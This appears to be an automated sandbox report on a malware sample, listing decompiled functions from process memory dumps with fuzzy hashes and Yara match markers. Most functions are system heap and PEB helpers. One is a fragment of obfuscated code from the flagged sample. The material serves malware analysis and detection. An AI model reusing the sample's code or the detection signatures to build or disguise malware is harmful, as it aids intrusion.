0x012a170d
0x012a170d
0x012a16f2
0x012a16f2
0x012a16f2
0x012a16f2

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a491b6cc5d85e691d0dc2c23d26f5170b0037b9697d6fbe6005cbafeec63d6
Instruction ID: 37fa0630348a9127f7aa04c6d08a3d6bfa864c3273b09d2ccc5d44ea3a870d7d
Opcode Fuzzy Hash: 12a491b6cc5d85e691d0dc2c23d26f5170b0037b9697d6fbe6005cbafeec63d6
Instruction Fuzzy Hash: 72D0A7711601429BEF2D5B189C04B242655EB90BA5F78005DF307894D0CFA4CCB6E08C

Uniqueness

Uniqueness Score: -1.00%

Function 012F53CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012F53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E0128EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x012f53ca
0x012f53ce
0x012f53d9
0x012f53de
0x012f53e1
0x012f53e1
0x012f53e6
0x012f53f3
0x00000000
0x012f53f8
0x012f53fb

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: d04f550d16d88b689621882cbe747c6cca7caa2b16020856a7ef568cb81e755d
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: FDE08C319206819BCF16EB4CCA50F5EBBF5FB44B00F150028A2085B661C624AC00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00415837, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00415837(void* __eax, signed int __ebx, void* __esi) {

				asm("adc ch, dh");
				 *0x20c11879 =  *0x20c11879 ^ __ebx;
				asm("stc");
				asm("sbb cl, al");
				_pop(es);
				return __eax;
			}

0x00415837
0x0041583d
0x00415843
0x00415844
0x00415846
0x0041584f

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb0948c5d281b0b76263a31c0d7abf21142467a2f95a41370742a4fc393cd97
Instruction ID: 12ff9b198007cf6380fd5f97b42077813a657dcf00711c27b9d6ce8a4b394f5e
Opcode Fuzzy Hash: acb0948c5d281b0b76263a31c0d7abf21142467a2f95a41370742a4fc393cd97
Instruction Fuzzy Hash: 19C02B37F540300541140DB47C610F6F3F89043136A107027C804F32004004C00C41CC

Uniqueness

Uniqueness Score: -1.00%

Function 0128AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0128AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x0128aab6
0x0128aabb
0x012da442
0x00000000
0x012da448
0x012da454
0x012da454
0x0128aac1
0x0128aac1
0x0128aac6
0x0128aac6

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 3630ec900cae26a36503de3a1a217621dbd6ba20e6cab0262deeca413a8ca716
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 09D0E935362981CFE617DB1DC554B1577B4FB44B44FC50490E641CBB62E62CD944CA00

Uniqueness

Uniqueness Score: -1.00%

Function 012A35A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A35A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E0128EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x012a35a1
0x012a35a1
0x012a35a5
0x012a35ab
0x012a35ab
0x012a35b5
0x00000000
0x012a35c1
0x012a35b7

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 50434c736d6cc8b401d37110c67493dc57d963d8fcb032fb61d2bd50a8f96abf
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: BDD0A7718311829BDB01EF1CE1147F83771BB04304FD81055838105452E3354909C600

Uniqueness

Uniqueness Score: -1.00%

Function 0127DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0127DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L01294620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x0127db4d
0x0127db54
0x0127db5f
0x0127db56
0x0127db56
0x0127db5c
0x0127db5c

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: c6001e97faf484e41426a79e7d1222e07bfbcbb03bab2f767aa57581da082bff
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 79C08C702A0A42AEEB222F24CE01B213AA0BB10B05F8800A06701DA0F0EB78D802E600

Uniqueness

Uniqueness Score: -1.00%

Function 012FA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012FA537(intOrPtr _a4, intOrPtr _a8) {

				return L01298E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x012fa553

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: c3834de26a422fafd60aa62a8b5e44963846bdff0f8cc7e2c86a8c28f4b66096
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 47C01232080248BBCB126E85CC00F267B2AEBA4B60F048010BA480A5608632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 01293A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01293A1C(intOrPtr _a4) {
				void* _t5;

				return L01294620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x01293a35

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 15810bd55781f4e5de13b400a207acfa9db88d3181355b43d6557812116015aa
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 74C08C32080288BBCB126E45DD00F117B29E7A0B60F000020BA040A5608532EC61D588

Uniqueness

Uniqueness Score: -1.00%

Function 0127AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0127AD30(intOrPtr _a4) {

				return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x0127ad49

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 06a04f25d66ca170934c7e19a4b655fe24f9e9d352eec8207a94c7c0b105f8a6
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: F3C02B330D0248BBCB126F49CD00F157F2DE7A0B60F000030F6040B671C932EC60D988

Uniqueness

Uniqueness Score: -1.00%

Function 012876E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012876E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x012876e4
0x00000000
0x012876f8
0x012876fd

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 18d1e9f73c0e3e7441f180ae8d94dcaf77a51e2ae7e4f808088d4ce652045440
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 8BC08C701761825EEF2A670CCE20B343A50AB0860CF6801ACAB01098E2C368A802C608

Uniqueness

Uniqueness Score: -1.00%

Function 012A36CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A36CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x012a36d2
0x012a36e8
0x012a36d4
0x012a36e5
0x012a36e5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: be1b77a866b149507fbf0c599d983901a13a0d01a887a56c0de3a2280c930fc1
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 18C08CB0160480AFDB156B248E00B247294B700A21FA402547220854E0D5289C00D504

Uniqueness

Uniqueness Score: -1.00%

Function 01297D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01297D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x01297d56
0x01297d5b
0x01297d60
0x01297d5d
0x01297d5d
0x01297d5d

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: f5a9f15ec733be00d2f1adc80ec591247c27d10cf1bf1ab0dbb7f76c7035c762
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 37B092353219418FCF16DF1CC080B1533E4BB44A40F8400D0E400CBA21D329E8009900

Uniqueness

Uniqueness Score: -1.00%

Function 012A2ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A2ACB() {
				void* _t5;

				return E0128EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x012a2adc

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 01429860113e577d9a678a89322a228996217f528049f9cd9ebe6066010b689c
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 4CB01232C21441CFCF02FF40CA10B297331FB00750F064490900127970C228AC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 012B9950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba61de06b2804b907b478840f0e7ba76bb0c08134e766a6ed13632982e6fd26
Instruction ID: cbd258dba6a7026c1daebfa72aa5caaac235844e76d5fba1b7d800c740ab33cc
Opcode Fuzzy Hash: bba61de06b2804b907b478840f0e7ba76bb0c08134e766a6ed13632982e6fd26
Instruction Fuzzy Hash: 4C9002B121144803D24065A948046070005A7D0742F51C125A3054595ECA698D5172B5

Uniqueness

Uniqueness Score: -1.00%

Function 012B99D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e4ff9ceb9362c4551953cb55f0c3a61253eb12dc390ac0e40da0a2599dd27ea
Instruction ID: 968e0f2ce4c386b266f4f7222648cedd20f07e4efff9e93bfd83b5ddc52e0350
Opcode Fuzzy Hash: 8e4ff9ceb9362c4551953cb55f0c3a61253eb12dc390ac0e40da0a2599dd27ea
Instruction Fuzzy Hash: C69002B122104442D20461A944047060045A7E1641F51C126A3144594CC5698D6162A5

Uniqueness

Uniqueness Score: -1.00%

Function 012B9820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128dec471bd15d8c5ac5aea31fd9beb3b53ec99fc46571ab31487c35bb422b04
Instruction ID: a3d7ce4e655912dfbd9b7ce389217b751213791eac6e4b9cd52a79c2cd5b41b8
Opcode Fuzzy Hash: 128dec471bd15d8c5ac5aea31fd9beb3b53ec99fc46571ab31487c35bb422b04
Instruction Fuzzy Hash: B290027125104802D24171A944046060009B7D0681F91C126A1414594EC6958B56BBE1

Uniqueness

Uniqueness Score: -1.00%

Function 012BB040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d885e110bc09268b64fc6c7002357fc1aa3b12597221f32633759ebc043ce7
Instruction ID: a7facfb3a199e08e685ad40ea91f47ed165a1f496266c7c53d840ae06584c338
Opcode Fuzzy Hash: b0d885e110bc09268b64fc6c7002357fc1aa3b12597221f32633759ebc043ce7
Instruction Fuzzy Hash: 4D9002B1611184434640B1A948044065015B7E1741391C235A14445A0CC6A88955A3E5

Uniqueness

Uniqueness Score: -1.00%

Function 012B98A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91393995333d6db4fae137ad0c1ac1ddede275a7e59845ee0d904f2aa3fe2020
Instruction ID: 17ae1142d9ab2bf4a528a796434325e8a5accfffb8b554124aec5b143c85e586
Opcode Fuzzy Hash: 91393995333d6db4fae137ad0c1ac1ddede275a7e59845ee0d904f2aa3fe2020
Instruction Fuzzy Hash: A490027131104802D20261A944146060009E7D1785F91C126E2414595DC6658A53B2B2

Uniqueness

Uniqueness Score: -1.00%

Function 012B9B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e910245ea6c4e3d1ecaa364c48d61c1dd1fc49d9e244d82f376d5cdc5f81a7ed
Instruction ID: c693556ae33dcf124fed691d58febb2c4a8e45b1c03a8569893626d20421c6f3
Opcode Fuzzy Hash: e910245ea6c4e3d1ecaa364c48d61c1dd1fc49d9e244d82f376d5cdc5f81a7ed
Instruction Fuzzy Hash: A090027125104C02D24071A984147070006E7D0A41F51C125A1014594DC6568A6577F1

Uniqueness

Uniqueness Score: -1.00%

Function 012BA3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07a81a99d213428ef5caf8495d39277baac930f39e106a2df073ca099ffde5b
Instruction ID: ff9019655d584ac08d3125a9bdf432afcdf0cc32f12297ba981b3091c2c99b9a
Opcode Fuzzy Hash: d07a81a99d213428ef5caf8495d39277baac930f39e106a2df073ca099ffde5b
Instruction Fuzzy Hash: 8190027121148402D24071A9844460B5005B7E0741F51C525E1415594CC6558956A3A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bffc76a4a62e2e5d00de2d6a01f820dfec428fbb4cccd48e5c4b970bc30b6390
Instruction ID: 64357056dba6ba07aa99b764bdc7069acecee4cc1ecd38850430ccf840078def
Opcode Fuzzy Hash: bffc76a4a62e2e5d00de2d6a01f820dfec428fbb4cccd48e5c4b970bc30b6390
Instruction Fuzzy Hash: 1790027121144802D20061A948087470005A7D0742F51C125A6154595EC6A5C99176B1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b693a01c7aaa6b5330f79be3a266bc78ca16cc51ac9cbf5d087e93fb90e76f27
Instruction ID: 7f2a31655b4d0f67e040b985c714be00d08bc22c0826708e7402878d1bf464b4
Opcode Fuzzy Hash: b693a01c7aaa6b5330f79be3a266bc78ca16cc51ac9cbf5d087e93fb90e76f27
Instruction Fuzzy Hash: 5290027121148842D24062A94804B0F4105A7E1642F91C12DA5146594CC955895567A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d4dc2cd65411972b3b172c58f1111a8fc848db99b19be9a8eef37ebb930f86
Instruction ID: 3e0bcf80f969f8813d9bc02f72be9aa34f24e4064908fe96f5699f50c02b90bd
Opcode Fuzzy Hash: 20d4dc2cd65411972b3b172c58f1111a8fc848db99b19be9a8eef37ebb930f86
Instruction Fuzzy Hash: 489002F1211184924600A2A98404B0A4505A7E0641B51C12AE20445A0CC5658951A2B5

Uniqueness

Uniqueness Score: -1.00%

Function 012BAD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f4849e4c838116d48c1f840e8797fa2215f0cf789d08bed79af0d82e5ae71f
Instruction ID: 5e2e5cd1c118f3209862e8ba581dab96ff21fc6b30cc0736dc491eed47d45134
Opcode Fuzzy Hash: 71f4849e4c838116d48c1f840e8797fa2215f0cf789d08bed79af0d82e5ae71f
Instruction Fuzzy Hash: 0B900271A1504412924071A948146464006B7E0B81B55C125A1504594CC9948B5563E1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d40fdf4bb71c7876ff2004690503cca59ec04a138d5b713f91e12dc844bea1ec
Instruction ID: d26279746fa2f6bd65d563fb24ae621bea64be848b99f03f879b840500c6fccd
Opcode Fuzzy Hash: d40fdf4bb71c7876ff2004690503cca59ec04a138d5b713f91e12dc844bea1ec
Instruction Fuzzy Hash: BB900275231044020245A5A9060450B0445B7D6791391C129F24065D0CC661896563A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B95F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d17aebfb34c071d671c9bb29390d2c0d4749d3185d6c64da0ddc3d097da7cafb
Instruction ID: b052f7280d6ea31354e0149fa5ef9be5ca7cf4487b30bbfe0ada7990957e3d82
Opcode Fuzzy Hash: d17aebfb34c071d671c9bb29390d2c0d4749d3185d6c64da0ddc3d097da7cafb
Instruction Fuzzy Hash: C590027121104C02D20461A948046860005A7D0741F51C125A7014695ED6A5899172B1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2016cec8ebe5e107ede3c5fceaedd30b8c2c3f6d91803e2a1166787bf424060c
Instruction ID: 571ebfa8ea1a0ebb07d924ac2d4368dc7c1b3280429e6d9fd0c1c19bb606ef36
Opcode Fuzzy Hash: 2016cec8ebe5e107ede3c5fceaedd30b8c2c3f6d91803e2a1166787bf424060c
Instruction Fuzzy Hash: 5990027161504802D24071A954187060015A7D0641F51D125A1014594DC6998B5577E1

Uniqueness

Uniqueness Score: -1.00%

Function 012BA710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2828be6b1f152589de1b143415659f73db4996f02fe196efc68af06beb8b1a25
Instruction ID: c13281119e44a15ea2257da0538eb1a0d3e804eb0d2376bad1070f691181224d
Opcode Fuzzy Hash: 2828be6b1f152589de1b143415659f73db4996f02fe196efc68af06beb8b1a25
Instruction Fuzzy Hash: 8E900271311044529600A6E95804A4A4105A7F0741B51D129A5004594CC594896162A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70c87b741c3ef9a8d626450a52f9da790241e543167136d03346abfe47e3ceec
Instruction ID: 592ce22e77acab820010295a225c2c4742bf2cafdbd7ea7b23d8c25ade76ef26
Opcode Fuzzy Hash: 70c87b741c3ef9a8d626450a52f9da790241e543167136d03346abfe47e3ceec
Instruction Fuzzy Hash: BD90027121104803D20061A955087070005A7D0641F51D525A1414598DD696895172A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edf2bdd08d18072595877946eb1d0aa74d4eb82db04cfac5981863591d1e1ea0
Instruction ID: e3252b9df16251dade5d18ed3c5449b76442c4e9875820d055b76e1014368983
Opcode Fuzzy Hash: edf2bdd08d18072595877946eb1d0aa74d4eb82db04cfac5981863591d1e1ea0
Instruction Fuzzy Hash: A290027121508842D20065A95408A060005A7D0645F51D125A20545D5DC6758951B2B1

Uniqueness

Uniqueness Score: -1.00%

Function 012BA770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c578d9446142c63de76685ba2c97088a1be320673dd5e89ccda8d82adfd39b79
Instruction ID: e3fb2d7dd5e0cf0bb9dc2dc6fef459d51e3ad41abd4b0a35a98c3c5bddf1266d
Opcode Fuzzy Hash: c578d9446142c63de76685ba2c97088a1be320673dd5e89ccda8d82adfd39b79
Instruction Fuzzy Hash: C390027521508842D60065A95804A870005A7D0745F51D525A14145DCDC6948961B2A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36014bcb8e99dc7de23eb5f3fe33d55fb8cacb083a2615080cfde71822be7d71
Instruction ID: a6c601acab55f8dbd65b379a11d30f84f566bb685de137614543763c2ee889da
Opcode Fuzzy Hash: 36014bcb8e99dc7de23eb5f3fe33d55fb8cacb083a2615080cfde71822be7d71
Instruction Fuzzy Hash: 6490027161504C02D25071A944147460005A7D0741F51C125A1014694DC7958B5577E1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf0e38e8ae697dfed32998761a677455576387ba3ef9ccd10747c1a3424d343
Instruction ID: ce2ca7450c99aa81047f6f79e694568c6c285538068715a7aae82a7b30c38c80
Opcode Fuzzy Hash: acf0e38e8ae697dfed32998761a677455576387ba3ef9ccd10747c1a3424d343
Instruction Fuzzy Hash: 4890027121508C42D24071A94404A460015A7D0745F51C125A10546D4DD6658E55B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 012B96D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b958fb649c3467b1b537aa11705a80b2c5170b6fad55f7c7004a0043500fb5
Instruction ID: c9c3ca31a63633a327f7876a4151525d966cc73d1b92530a622350e1f810934a
Opcode Fuzzy Hash: 67b958fb649c3467b1b537aa11705a80b2c5170b6fad55f7c7004a0043500fb5
Instruction Fuzzy Hash: E090027121104C42D20061A94404B460005A7E0741F51C12AA1114694DC655C95176A1

Uniqueness

Uniqueness Score: -1.00%

Function 012B9670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 2de756c70de4eb4ae17637db2fd10f1d4fde85db7bd10814bb1a57613ad2b5f0
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0130FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0130FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E012BCE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
